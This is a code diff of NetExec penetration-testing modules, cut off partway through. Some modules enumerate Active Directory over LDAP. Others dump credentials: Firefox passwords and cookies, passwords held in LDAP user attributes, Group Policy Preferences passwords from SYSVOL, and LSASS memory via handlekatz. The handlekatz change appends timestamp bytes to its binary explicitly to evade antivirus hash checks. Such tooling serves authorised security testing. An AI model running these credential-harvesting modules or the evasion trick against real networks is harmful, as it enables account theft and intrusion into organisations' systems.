search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -69,12 +69,12 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found the following computers: ")
for answer in answers:
try:
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+31 -17
View File
@@ -1,5 +1,6 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -10,16 +11,23 @@ class NXCModule:
"""
name = "firefox"
description = "Dump credentials from Firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""Dump credentials from Firefox"""
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -41,19 +49,25 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+9 -23
View File
@@ -1,7 +1,8 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -11,10 +12,9 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contained password"
description = "Get description of the users. May contain password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -55,24 +55,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
@@ -108,5 +94,5 @@ class NXCModule:
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
+45
View File
@@ -0,0 +1,45 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+46 -74
View File
@@ -2,18 +2,17 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
from os.path import expanduser
import codecs
import socket
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
@@ -26,25 +25,8 @@ def get_dns_zones(connection, root, debug=False):
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith("ldap://"):
server = server[7:]
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
def new_record(rtype, serial):
@@ -65,28 +47,29 @@ RECORD_TYPE_MAPPING = {
5: "CNAME",
6: "SOA",
12: "PTR",
# 15: 'MX',
# 16: 'TXT',
15: "MX",
16: "TXT",
28: "AAAA",
33: "SRV",
}
def searchResEntry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
ZERO = 0
A = 1
NS = 2
CNAME = 5
SOA = 6
PTR = 12
MX = 15
TXT = 16
AAAA = 28
SRV = 33
class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -95,61 +78,44 @@ class NXCModule:
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
else:
raise
get_dns_resolver(connection.host, context.log)
list_sites = connection.search(
searchFilter="(DC=*)",
attributes=["dnsRecord", "dNSTombstoned", "name"],
baseDN=search_target,
)
list_sites_parsed = parse_result_attributes(list_sites)
outdata = []
for item in list_sites:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
for site in list_sites_parsed:
recordname = site["name"]
if "dnsRecord" in site:
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
if isinstance(site["dnsRecord"], list): # noqa: SIM108
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
for record in records:
dr = DNS_RECORD(record)
if dr["Type"] == A:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -159,17 +125,18 @@ class NXCModule:
"value": address.formatCanonical(),
}
)
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[next(iter(address.fields))].toFqdn(),
"value": address["nameNode"].toFqdn(),
}
)
elif dr["Type"] == 28:
elif dr["Type"] == AAAA:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -180,8 +147,13 @@ class NXCModule:
}
)
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
if not (self.showall or self.showhosts):
seen_ips = set()
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
+9 -26
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -12,19 +13,18 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
searchFilter = "(unixUserPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
@@ -37,27 +37,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+10 -27
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -12,19 +13,18 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
searchFilter = "(userPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
@@ -37,27 +37,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
else:
context.log.fail("No userPassword Found")
context.log.fail("No unixUserPassword Found")
+5 -4
View File
@@ -1,5 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import json
@@ -13,11 +15,10 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options"""
"""No options available"""
def on_admin_login(self, context, connection):
data = []
@@ -31,4 +32,4 @@ class NXCModule:
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+2 -2
View File
@@ -1,5 +1,6 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,8 +12,7 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
+7 -6
View File
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,21 +15,21 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
@@ -43,7 +44,7 @@ class NXCModule:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
+259
View File
@@ -0,0 +1,259 @@
import ssl
import ldap3
import re
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, context, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
+11 -5
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,15 +12,17 @@ class NXCModule:
"""
name = "group-mem"
description = "Retrieves all the members within a Group"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
primaryGroupID = ""
answers = []
def options(self, context, module_options):
"""
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -34,6 +37,9 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -68,7 +74,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+3 -3
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,8 +16,7 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+21 -13
View File
@@ -5,17 +5,17 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -34,6 +34,8 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
